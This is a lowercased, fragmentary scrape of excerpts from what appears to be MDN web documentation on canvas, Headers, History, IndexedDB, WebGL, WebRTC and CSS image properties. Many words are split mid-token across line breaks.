ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.font = '50px serif'; ctx.stroketext('hello world', 50, 90, 140); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.stroketext' in that specification. living standard ...
CanvasRenderingContext2D.textAlign - Web APIs
igned for right-to-left locales). "end" the text is aligned at the normal end of the line (right-aligned for left-to-right locales, left-aligned for right-to-left locales). the default value is "start". examples general text alignment this example demonstrates the three "physical" values of the textalign property: "left", "center", and "right". ...
...x, 85); ctx.textalign = 'right'; ctx.filltext('right-aligned', x, 130); result direction-dependent text alignment this example demonstrates the two direction-dependent values of the textalign property: "start" and "end". note that the direction property is manually specified as "ltr", although this is also the default for english-language text. ...
CanvasRenderingContext2D.transform() - Web APIs
this lets you scale, rotate, translate (move), and skew the context. note: see also the settransform() method, which resets the current transform to the identity matrix and then invokes transform(). syntax void ctx.transform(a, b, c, d, e, f); the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] parameters a (m11) horizontal scaling. a value of 1 results in no scaling. b (m12) vertical skewing. c (m21) horizontal skewing. d (m22) vertical scaling. ...
...ng. b (m12) vertical skewing. c (m21) horizontal skewing. d (m22) vertical scaling. a value of 1 results in no scaling. e (dx) horizontal translation (moving). f (dy) vertical translation (moving). examples skewing a shape this example skews a rectangle both vertically (.2) and horizontally (.8). scaling and translation remain unchanged. html <canvas id="canvas"></canvas> javascr
ipt const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.transform' in that specification. living standard ...
Headers.append() - Web APIs
for security reasons, some headers can only be controlled by the user agent. ...
... creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using append(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' if the specified header already exists, append() will change its value to the specified value. if the specified header already exists and accepts mult
iple values, append() will append the new value to the end of the value set: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gz
ip'); myheaders.get('accept-encoding'); // returns 'deflate, gz
ip' to overwrite the old value with a new one, use headers.set. specifications specification status comment fetchthe definition of 'append()' in th...
Headers.get() - Web APIs
ader or null if this header is not set. ...
...is using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has mult
iple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gz
ip'); myheaders.get('accept-encoding'); // returns "deflate,gz
ip" note: headers.getall used to have this functionality, with headers.get returning only the first value added to the headers object. the latest spec has removed getall(), and updated get() to return all values. specifications specification status comment fetchthe definition of 'get()' in that specification.
Headers.set() - Web APIs
for security reasons, some headers can only be controller by the user agent. ...
...ders(); // currently empty you could add a header to this using headers.append, then set a new value for this header using set(): myheaders.append('content-type', 'image/jpeg'); myheaders.set('content-type', 'text/html'); if the specified header does not already exist, set() will create it and set its value to the specified value. if the specified header does already exist and does accept mult
iple values, set() will overwrite the existing value with the new one: myheaders.set('accept-encoding', 'deflate'); myheaders.set('accept-encoding', 'gz
ip'); myheaders.get('accept-encoding'); // returns 'gz
ip' you'd need headers.append to append the new value onto the values, not overwrite it. specifications specification status comment fetchthe definition of 'set()' in t...
Headers - Web APIs
s.set() sets a new value for an existing header inside a headers object, or adds the header if it does not already exist. headers.values() returns an iterator allowing you to go through all values of the key/value pairs contained in this object. note: to be clear, the difference between headers.set() and headers.append() is that if the specified header does already exist and does accept mult
iple values, headers.set() will overwrite the existing value with the new one, whereas headers.append() will append the new value onto the end of the set of values. see their dedicated pages for example code. note: all of the headers methods will throw a typeerror if you try to pass in a reference to a name that isn't a valid http header name. the mutation operations will throw a typeerror if the...
...matically sorted in lexicographical order, and values from duplicate header names are combined. obsolete methods headers.getall() used to return an array of all the values of a header within a headers object with a given name; this method has now been deleted from the spec, and headers.get() now returns all values of a given name instead of just the first one. ...
History - Web APIs
properties the history interface doesn't inherit any property. length read only returns an integer representing the number of elements in the session history, including the currently loaded page. for example, for a page loaded in a new tab this property returns 1. scrollrestoration allows web applications to explicitly set default scroll restoration behavior on history navigation. this property can be either auto or manual. state read only returns an any value representing the state at the top of the history stack. this is a way to look at the state without having to wait for a popstate event. ...
...od silently has no effect. calling go() without parameters or a value of 0 reloads the current page. internet explorer lets you specify a string, instead of an integer, to go to a specific url in the history list. pushstate() pushes the given data onto the session history stack with the specified title (and, if provided, url). the data is treated as opaque by the dom; you may specify any javascr
ipt object that can be serialized. note that all browsers but safari currently ignore the title parameter. for more information, see working with the history api. replacestate() updates the most recent entry on the history stack to have the specified data, title, and, if provided, url. the data is treated as opaque by the dom; you may specify any javascr
ipt object that can be serialized. note th...
History API - Web APIs
concepts and usage moving backward and forward through the user's history is done using the back(), forward(), and go() methods. ...
... examples the following example assigns a listener to the onpopstate property. and then illustrates some of the methods of the history object to add, replace, and move within the browser history for the current tab. window.onpopstate = function(event) { alert(`location: ...
IDBCursor.advance() - Web APIs
the advance() method of the idbcursor interface sets the number of times a cursor should move its position forward. note: this feature is available in web workers. syntax cursor.advance(count); parameters count the number of times to move the cursor forward. exceptions this method may raise a domexception of one of the following types: exception descr
iption transactioninactiveerror this idbcursor's transaction is inactive. typeerror the value passed into the count parameter was zero or a negative number. invalidstateerror the cursor is currently being iterated or has iterated past its end. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through the re...
...ed past its end. example in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through the records in the object store. here we use cursor.advance(2) to jump 2 places forward each time, meaning that only every other result will be displayed. advance() works in a similar way to idbcursor.continue, except that it allows you to jump mult
iple records at a time, not just always go onto the next record. note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo. for a complete working example, see our idbcursor example (view example live.) function advanceresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], "readonly"); var ob...
IDBDatabase.createObjectStore() - Web APIs
dbdatabase.createobjectstore(name); idbdatabase.createobjectstore(name, options); parameters name the name of the new object store to be created. note that it is possible to create an object store with an empty name. optionalparameters optional an options object whose attributes are optional parameters to the method. it includes the following properties: attribute descr
iption keypath the key path to be used by the new object store. if empty or not specified, the object store is created without a key path and uses out-of-line keys. you can also pass in an array as a keypath. autoincrement if true, the object store has a key generator. defaults to false. unknown parameters are ignored. returns a new idbobjectstor...
...is created without a key path and uses out-of-line keys. you can also pass in an array as a keypath. autoincrement if true, the object store has a key generator. defaults to false. unknown parameters are ignored. returns a new idbobjectstore. exceptions this method may raise a domexception with a domerror of one of the following types: exception descr
iption invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, whi...
IDBFactory.cmp() - Web APIs
the cmp() method of the idbfactory interface compares two values as keys to determine equality and ordering for indexeddb operations, such as storing and iterating. note: this feature is available in web workers. note: do not use this method for comparing arbitrary javascr
ipt values, because many javascr
ipt values are either not valid indexeddb keys (booleans and objects, for example) or are treated as equivalent indexeddb keys (for example, since indexeddb ignores arrays with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent). this throws an exception if either of the values is not a valid key. syntax var result = indexeddb.cmp(first, second); parameters first the first key to compare. second the second key to compare...
...re treated as equivalent). this throws an exception if either of the values is not a valid key. syntax var result = indexeddb.cmp(first, second); parameters first the first key to compare. second the second key to compare. return value an integer that indicates the result of the comparison; the table below lists the possible values and their meanings: returned value descr
iption -1 1st key is less than the 2nd key 0 1st key is equal to the 2nd key 1 1st key is greater than the 2nd key exceptions this method may raise a domexception of the following types: attribute descr
iption dataerror one of the supplied keys was not a valid key. example var a = 1; var b = 2; var result = window.indexeddb.
IDBFactorySync - Web APIs
web workers, and was eventually removed from the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the idbfactorysync interface of the indexeddb api provide a synchronous means of accessing the capabilities of indexed databases. method overview idbdatabasesync open (in domstring name, in domstring descr
iption, in optional boolean modifydatabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database. blocks the calling thread until the connection object is ready to return. if there is already a database with the specified name, it uses that one; otherwise, it creates the database using the specified name and descr
iption. idbdatabasesync open ( in dom...
...atabase) raises (idbdatabaseexception); methods open() opens and returns a connection to a database. blocks the calling thread until the connection object is ready to return. if there is already a database with the specified name, it uses that one; otherwise, it creates the database using the specified name and descr
iption. idbdatabasesync open ( in domstring name, in domstring descr
iption ) raises (idbdatabaseexception); parameters name the name for the database. descr
iption the descr
iption for the database. returns idbdatabasesync an object to access the open database. exceptions this method can raise an idbdatabaseexception with the following codes: non_transient_err if the name parameter is not valid. a valid name is any string including the empty strin...
IDBObjectStore.add() - Web APIs
re.add(value); var request = objectstore.add(value, key); parameters value the value to be stored. key optional the key to use to identify the record. if unspecified, it results to null. returns an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types: exception descr
iption readonlyerror the transaction associated with this operation is in read-only mode. transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror any of the following conditions apply: the object store uses in-line keys or has a key generator, and a key parameter was provided. the object store uses out-of-line key...
...validstateerror the idbobjectstore has been deleted or removed. datacloneerror the data being stored could not be cloned by the internal structured cloning algorithm. constrainterror an insert operation failed because the primary key constraint was violated (due to an already existing record with the same primary key value). example in the following code sn
ippet, we open a read/write transaction on our database and add some data to an object store using add(). note also the functions attached to transaction event handlers to report on the outcome of the transaction opening in the event of success or failure. for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexedd...
IDBObjectStore.get() - Web APIs
does not. note: this feature is available in web workers. syntax var request = objectstore.get(key); parameters key the key or key range that identifies the record to be retrieved. return value an idbrequest object on which subsequent events related to this operation are fired. ...
...his method may raise a domexception of one of the following types: exception descr
iption transactioninactiveerror this idbobjectstore's transaction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. example in the following code sn
ippet, we open a read/write transaction on our database and get one specific record from object store using get() -- a sample record with the key "walk dog". once this data object is retrieved, you could then update it using normal javascr
ipt, then put it back into the database using a idbobjectstore.put operation. for a full working example, see our to-do notifications app (view example live.) //...
IDBObjectStoreSync - Web APIs
keypath readonly domstring the key path of this object store. if this attribute is set to null, then the application must provide a key for each modification operation. mode readonly unsigned short the mode for isolating access to the data in this object ...
...t store. if this attribute is set to null, then the application must provide a key for each modification operation. mode readonly unsigned short the mode for isolating access to the data in this object store. for possible values, see constants. name readonly domstring the name of this object store. constants mode constants constant value descr
iption read_only 1 modification operations are not allowed on this object store. read_write 0 modification operations are allowed on this object store. snapshot_read 2 any read operations must access a snapshot view of the data, which cannot change once it is created. methods add() stores the given value into this object store, optionally wit...
ImageData() - Web APIs
d height will be created. width an unsigned long representing the width of the image. height an unsigned long representing the height of the image. this value is optional if an array is given: the height will be inferred from the array's size and the given width. return value a new imagedata object. errors thrown indexsizeerror thrown if array is specified, but its length is not a mult
iple of (4 * width) or (4 * width * height). examples creating a blank imagedata object this example creates an imagedata object that is 200 pixels wide and 100 pixels tall, containing a total of 20,000 pixels. let imagedata = new imagedata(200, 100); // imagedata { width: 200, height: 100, data: uint8clampedarray[80000] } initializing imagedata with an array this example instantiates an ima...
...mple creates an imagedata object that is 200 pixels wide and 100 pixels tall, containing a total of 20,000 pixels. let imagedata = new imagedata(200, 100); // imagedata { width: 200, height: 100, data: uint8clampedarray[80000] } initializing imagedata with an array this example instantiates an imagedata object with pixel colors defined by an array. html <canvas id="canvas"></canvas> javascr
ipt the array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values. the imagedata constructor specifies a width of 200 for the new object, so its height defaults to 10,000 divided by 200, which is 50. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const arr = new uint8clampedarray(40000); // iterate through every p...
ImageData.data - Web APIs
ata array stores four values for each pixel, making 4 x 10,000, or 40,000 values in all. let imagedata = new imagedata(100, 100); console.log(imagedata.data); // uint8clampedarray[40000] console.log(imagedata.data.length); // 40000 filling a blank imagedata object this example creates and fills a new imagedata object with colorful pixels. html <canvas id="canvas"></canvas> javascr
ipt since each pixel consists of four values within the data array, the for loop iterates by mult
iples of four. the values associated with each pixel are r (red), g (green), b (blue), and a (alpha), in that order. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 100); // iterate through every pixel for (let i = 0; i ...
... specification specification status comment html living standardthe definition of 'imagedata.data' in that specification. living standard initial definition. ...
WebGLRenderingContext.getUniformLocation() - Web APIs
after setting the current shading program to shaderprogram, this code fetches the three uniforms "uscalingfactor", "uglobalcolor", and "urotationvector", calling getuniformlocation() once for each uniform. then the three uniform...
...a 2-component vertex. finally, the uniform uglobalcolor is set to the color [0.1, 0.7, 0.2, 1.0], the components in this 4-component vector represent the values of red, green, blue, and alpha, respectively. having done this, the next time the shading functions are called, their own variables named uscalingfactor, uglobalcolor, and urotationvector will all have the values provided by the javascr
ipt code. specifications specification status comment webgl 1.0the definition of 'getuniformlocation' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glgetuniformlocation' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.hint() - Web APIs
the webglrenderingcontext.hint() method of the webgl api specifies hints for certain behaviors. the interpretation of these hints depend on the implementation. syntax void gl.hint(target, mode); parameters target sets which behavior to be controlled. possible values: gl.generate_m
ipmap_hint: quality of filtering when generating m
ipmap images with webglrenderingcontext.generatem
ipmap(). when using the oes_standard_derivatives extension: ext.fragment_shader_derivative_hint_oes: accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth. when using a webgl 2 context, the following values are available additionally: gl.fragment_shader_derivative_hint: same as ext.fragment_shader_derivative_hint_oes mode sets...
... mode sets the behavior. the default value is gl.dont_care. the possible values are: gl.fastest: the most efficient behavior should be used. gl.nicest: the most correct or the highest quality option should be used. gl.dont_care: there is no preference for this behavior. return value none. examples the following example hints that the quality of filtering when generating m
ipmap images should be most efficient instead of best quality. gl.hint(gl.generate_m
ipmap_hint, gl.fastest); specifications specification status comment webgl 1.0the definition of 'hint' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glhint' in that specification. standard man page of the opengl api. ...
WebGLRenderingContext.isEnabled() - Web APIs
the webglrenderingcontext.isenabled() method of the webgl api tests whether a specific webgl capability is enabled or not for this context. by default, all capabilities except gl.dither are disabled. syntax glboolean gl.isenabled(cap); parameters cap a glenum specifying which webgl capability to test. possible values: constant descr
iption gl.blend blending of the computed fragment color values. see webglrenderingcontext.blendfunc(). gl.cull_face culling of polygons. see webglrenderingcontext.cullface(). gl.depth_test depth comparisons and updates to the depth buffer. see webglrenderingcontext.depthfunc(). gl.dither dithering of color components before they get written to the color buffer. ...
...ge(). gl.scissor_test scissor test that discards fragments that are outside of the scissor rectangle. see webglrenderingcontext.scissor(). gl.stencil_test stencil testing and updates to the stencil buffer. see webglrenderingcontext.stencilfunc(). when using a webgl 2 context, the following values are available additionally: constant descr
iption gl.rasterizer_discard primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. gl.clear() commands are ignored. return value a glboolean indicating if the capability cap is enabled (true), or not (false). examples gl.isenabled(gl.stencil_test); // false to activate or deactivate a specific cap...
WebGLRenderingContext - Web APIs
ntext.iscontextlost() returns true if the context is lost, otherwise returns false. webglrenderingcontext.makexrcompatible() ensures the context is compatible with the user's xr hardware, re-creating the context if necessary with a new configuration to do so. this can be used to start an application using standard 2d presentation, then transition to using a vr or ar mode later. viewing and cl
ipping webglrenderingcontext.scissor() defines the scissor box. webglrenderingcontext.viewport() sets the viewport. state information webglrenderingcontext.activetexture() selects the active texture unit. webglrenderingcontext.blendcolor() sets the source and destination blending factors. webglrenderingcontext.blendequation() sets both the rgb blend equation and alpha blend equation ...
...ompressedtexsubimage2d() specifies a 2d texture sub-image in a compressed format. webglrenderingcontext.copyteximage2d() copies a 2d texture image. webglrenderingcontext.copytexsubimage2d() copies a 2d texture sub-image. webglrenderingcontext.createtexture() creates a webgltexture object. webglrenderingcontext.deletetexture() deletes a webgltexture object. webglrenderingcontext.generatem
ipmap() generates a set of m
ipmaps for a webgltexture object. webglrenderingcontext.gettexparameter() returns information about the texture. webglrenderingcontext.istexture() returns a boolean indicating if the passed webgltexture is valid. webglrenderingcontext.teximage2d() specifies a 2d texture image. webglrenderingcontext.texsubimage2d() updates a sub-rectangle of the current webgltextu...
Color masking - Web APIs
el values on the screen. by limiting the color channels that are written by each drawing command, you can use each channel, for example, to store a different grayscale image. alternatively, you may use the rgb components for color, but the alpha component for some custom pixel data of your invention. ...
...pixel data of your invention. finally, color masking teaches us that webgl is not only a state machine, it is also a graphics p
ipeline. this means that graphics operations in webgl are done in a certain order, where the output of each operation serves as the input of the next. so, for example, clearing operation sets the value of each pixel to the chosen clear color. masking occurs later in the p
ipeline, and modifies the pixel color value, so the final result on the screen is that of the clear color, tinted by the color mask. <p>tinting the displayed colors with color masking.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <button id="red-toggle">on</button> <button id="green-toggle">on</button> <button id="blue-toggle">on</button> body { text-align : ce...
Hello GLSL - Web APIs
a very simple first shader program. ...
... body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <scr
ipt type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </scr
ipt> <scr
ipt type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </scr
ipt> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source...
Textures from code - Web APIs
texture from code. ...
... 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <scr
ipt type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </scr
ipt> <scr
ipt type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentposition = 2.0*gl_pointcoord - 1.0; float distance = length(fragmentposition); float distancesqrd = distance * distance; gl_fragcolor = vec4( 0.2/distancesqrd, 0.1/distancesqrd, 0.0, 1.0 ); } </scr
ipt> ;(function(){ "use strict" window.addeventlis...
Compressed texture formats - Web APIs
sable with compressedtexsubimage2d/copytexsubimage2d. no no webgl_compressed_texture_etc yes no webgl_compressed_texture_etc1* not usable with compressedtexsubimage2d/copytexsubimage2d. no no webgl_compressed_texture_pvrtc width and height must be powers of 2. no no webgl_compressed_texture_s3tc width and height must be mult
iples of 4. yes no webgl_compressed_texture_s3tc_srgb width and height must be mult
iples of 4. ? no examples async function getcompressedtextureifavailable(gl) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // create texture object on gpu const ext = gl.getextension('webgl_compressed_texture_s3tc'); // will be null if not support...
...buffer = await fetch('/textures/foobar512x512.rgba_s3tc_dxt1') .then(response => response.arraybuffer()); gl.compressedteximage2d(gl.texture_2d, 0, // set the base image level ext.compressed_rgba_s3tc_dxt1_ext, // the compressed format we are using 512, 512, // width, height of the image 0, // border, always 0 new dataview(dataarraybuffer)); gl.generatem
ipmap(); // create m
ipmap levels, like we would for a standard image return texture; } } ...
Getting started with WebGL - Web APIs
webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this article will introduce you to the basics of using webgl. ...
...king it easier to build 3d applications and games, such as three.js and babylon.js. preparing to render in 3d the first thing you need in order to use webgl for rendering is a canvas. the html fragment below declares a canvas that our sample will draw into. <body> <canvas id="glcanvas" width="640" height="480"></canvas> </body> preparing the webgl context the main() function in our javascr
ipt code, is called when our scr
ipt is loaded. its purpose is to set up the webgl context and start rendering content. // // start here // function main() { const canvas = document.queryselector("#glcanvas"); // initialize the gl context const gl = canvas.getcontext("webgl"); // only continue if webgl is available and working if (gl === null) { alert("unable to initialize webgl. your...
WebGL tutorial - Web APIs
webgl enables web content to use an api based on opengl es 2.0 to perform 3d rendering in an html <canvas> in browsers that support it without the use of plug-ins. webgl programs consist of control code written in javascr
ipt and special effects code (shader code) that is executed on a computer's graphics processing unit (gpu). webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics. the examples provided should give you some clear ideas what you can do with webgl and will provide code sn
ippets that may get you started in building your own content. before you start using the <canvas> element is not very difficult, but you d...
...this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics. the examples provided should give you some clear ideas what you can do with webgl and will provide code sn
ippets that may get you started in building your own content. before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascr
ipt. the <canvas> element and webgl are not supported in some older browsers, but are supported in recent versions of all major browsers. in order to draw graphics on the canvas we use a javascr
ipt context object, which creates graphics on the fly. in this tutorial getting started with webgl how to set up a webgl context. adding 2d content to a webgl context how to render simple flat shapes u...
Using WebGL extensions - Web APIs
the angle library authors. oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture review boards (khronos). ovr_: extensions that optimize for virtual reality. ext_: extensions that mirror other opengl es or opengl api extensions. webgl_: extensions that are webgl-specific and intended to be compatible with mult
iple web browsers. it should also be used for extensions which originated with the opengl es or opengl apis, but whose behavior has been significantly altered. querying available extensions the webgl context supports querying what extensions are available. var available_extensions = gl.getsupportedextensions(); the webglrenderingcontext.getsupportedextensions() method returns an array of string...
... extension list the current extensions are: angle_instanced_arrays ext_blend_minmax ext_color_buffer_float ext_color_buffer_half_float ext_disjoint_timer_query ext_float_blend ext_frag_depth ext_srgb ext_shader_texture_lod ext_texture_compression_bptc ext_texture_compression_rgtc ext_texture_filter_anisotropic khr_parallel_shader_compile oes_element_index_uint oes_fbo_render_m
ipmap oes_standard_derivatives oes_texture_float oes_texture_float_linear oes_texture_half_float oes_texture_half_float_linear oes_vertex_array_object ovr_multiview2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_...
Taking still photos with WebRTC - Web APIs
he first panel on the left contains two components: a <video> element, which will receive the stream from webrtc, and a <button> the user clicks to capture a video frame. <div class="camera"> <video id="video">video stream not available.</video> <button id="startbutton">take photo</button> </div> this is straightforward, and we'll see how it ties together when we get into the javascr
ipt code. next, we have a <canvas> element into which the captured frames are stored, potentially man
ipulated in some way, and then converted into an output image file. this canvas is kept hidden by styling the canvas with display:none, to avoid cluttering up the screen -- the user does not need to see this intermediate stage. we also have an <img> element into which we will draw the image -- this...
...e stage. we also have an <img> element into which we will draw the image -- this is the final display shown to the user. <canvas id="canvas"> </canvas> <div class="output"> <img id="photo" alt="the screen capture will appear in this box."> </div> that's all of the relevant html. the rest is just some page layout fluff and a bit of text offering a link back to this page. the javascr
ipt code now let's take a look at the javascr
ipt code. we'll break it up into a few bite-sized pieces to make it easier to explain. initialization we start by wrapping the whole scr
ipt in an anonymous function to avoid global variables, then setting up various variables we'll be using. (function() { var width = 320; // we will scale the photo width to this var height = 0; // this will...
Using WebRTC data channels - Web APIs
r that it should create its own rtcdatachannel with the negotiated property also set to true, using the same id. this will link the two objects across the rtcpeerconnection. let datachannel = pc.createdatachannel("myapp channel", { negotiated: true }); datachannel.addeventlistener("open", (event) => { begintransmission(datachannel); }); requestremotechannel(datachannel.id); in this code sn
ippet, the channel is created with negotiated set to true, then a function called requestremotechannel() is used to trigger negotiation, to create a remote channel with the same id as the local channel. doing this lets you create data channels with each peer using different properties, and to create channels declaratively by simply using the same value for id. buffering webrtc data channels suppo...
...ere are still situations in which data transfer on an rtcdatachannel can fail due to differences in how they call the library and react to errors it returns. when two users running firefox are communicating on a data channel, the message size limit is much larger than when firefox and chrome are communicating because firefox implements a now deprecated technique for sending large messages in mult
iple sctp messages, which chrome does not. chrome will instead see a series of messages that it believes are complete, and will deliver them to the receiving rtcdatachannel as mult
iple messages. messages smaller than 16kib can be sent without concern, as all major user agents handle them the same way. beyond that, things get more complicated. concerns with large messages currently, it's not pract...
Improving compatibility using WebRTC adapter.js - Web APIs
is relatively stable, not all browsers have fully implemented all of its features. in addition, some browsers still have prefixes on some or all webrtc apis. while you can manually code around these issues, there is an easier way. the webrtc organization provides on github the webrtc adapter to work around compatibility issues in different browsers' webrtc implementations. the adapter is a javascr
ipt shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support. there's no need to conditionally use prefixed apis or implement other workarounds. note: since there is ongoing fluidity in functionality and naming of api terms in webrtc and supporting browsers, use of this adapter is generally recommended. the adapter is provided u...
...urse other adjustments made for you by the shim. the webrtc adapter currently supports mozilla firefox, google chrome, apple safari, and microsoft edge. using adapter.js in order to use adapter.js, you need to include adapter.js on any page that uses webrtc apis: download a copy of the latest version of adapter.js from github. place it in your site's directory structure (such as in your scr
ipts directory). include adapter.js in your project: <scr
ipt src="adapter.js"></scr
ipt> write your code, using webrtc apis per the specification, knowing that your code should work on all browsers. keep in mind that even a good shim like this one doesn't mean you don't need to test your code on different browsers (and ideally different versions of each browser). ...
Using bounded reference spaces - Web APIs
ded off to a function called onrefspacecreated(), which takes over the process of setting up the space for use. it's important, however, to keep in mind that while a local-floor space provides a floor-relative space and is always available for immersive sessions, it also has significant differences from bounded-floor, so you need to be prepared to handle these differences. this is why the code sn
ippet above records the reference space being used in the variable spacetype. the most obvious difference is that local-floor spaces don't provide boundaries, and are primarily meant to be used in situations where the user stays in one place for the duration of the session. if upon attempting to create a local-floor reference space, the user's xr device doesn't have built-in support for determining...
...above the floor, like a camera lying on the ground. if you wish to simulate a human's perspective on the scene, you probably want to move the viewpoint upward by a distance that approximates human eye level by transforming it by providing an appropriate transform matrix to the xrreferencespace method requestoffsetreferencespace(). ...
Accessibility Information for Web Authors - Accessibility
clear and well structured table where each and all checkpoints are identified and described (along with an helpful clickable link to the related reference guideline) into logical groups and according to measurable results: passed, warning, failed for automated verification, warning for manual verification, not selected, not available, not related, etc. accessibility valet from webthing descr
iption and summary to be written. wave 4.0 beta (web accessibility versatile evaluator) from webaim and sponsored by temple university institute on disabilities wave 4.0 beta is another powerful, free online webpage accessibility validation service that identifies accessibility errors and reports accessibility warnings about webpage related to section 508 standards and/or the wcag guidelines. i...
...esheets. the future: accessible dhtml dhtml accessibility roadmap: a peek into how dhtml will be made accessible in the future. this document gives a plan which is being developed by ibm, mozilla and wai protocols and formats working group (pfwg) to address the issue of accessible dhtml. dynamic web content is not accessible, because it uses vanilla <div>'s and <span>'s combined with javascr
ipt rather than declarative markup to describe the behavior of custom widgets such as menus and tree views. these widgets are usually not even keyboard focusable. furthermore, assistive technologies do not understand what these widgets are supposed to be, or what state they are in or what they are capable of. this document tackles such difficulties and shows several interactive desktop-style widget...
Understanding the Web Content Accessibility Guidelines - Accessibility
vide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. it is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. for this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required. the four princ
iples wcag is broadly broken down into four princ
iples -- major things that web content must be to be considered accessible (see understanding the four princ
iples of accessibility for the wcag definitions). each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined i...
... perceivable: users must be able to perceive it in some way, using one or more of their senses. operable: users must be able to control ui elements (e.g. buttons must be clickable in some way -- mouse, keyboard, voice command, etc.). understandable: the content must be understandable to its users. ...
-moz-image-rect - CSS: Cascading Style Sheets
ercentage>, of the sub-image within the specified image. right the right edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. bottom the bottom edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. left the left edge, specified as an <integer> or <percentage>, of the sub-image within the specified image. descr
iption this property allows you to, for example, use different parts of one larger image as backgrounds in different parts of your content. this works very similarly to the -moz-image-region property, which is used with the list-style-image property to use parts of an image as the bullets in lists. however, this can be used for any css background. the syntax for the rectangle is similar to the re...
..." style="left:133px;top:0px;">top right</div> <div id="box3" style="left:0px;top:136px;">bottom left</div> <div id="box4" style="left:133px;top:136px;">bottom right</div> </div> this places the four segments of our image in a two-by-two box grid. these four segments are all contained within a larger <div> block whose primary purpose is to receive click events and dispatch them to our javascr
ipt code. the javascr
ipt code this code handles the click event when the container receives a mouse click. function rotate() { var prevstyle = window.getcomputedstyle(document.getelementbyid("box4"), null).getpropertyvalue("background-image"); // now that we've saved the last one, start rotating for (var i=1; i<=4; i++) { var curid = "box" + i; // shift the background images ...
-moz-image-region - CSS: Cascading Style Sheets
ies a region of the image that is used in place of the whole image. this allows elements to use different pieces of the same image to improve performance. /* keyword value */ -moz-image-region: auto; /* <shape> value */ -moz-image-region: rect(0, 8px, 4px, 4px); /* global values */ -moz-image-region: inherit; -moz-image-region: initial; -moz-image-region: unset; the syntax is similar to the cl
ip property. all four values are relative to the upper left corner of the image. note: for a system that works on any background, see -moz-image-rect(). syntax values auto automatically defines the region of the image to use. <shape> a shape defining the part of the image to use. the rect() function defines a rectangle to use as shape. its parameters define the top, right, bottom, and lef...
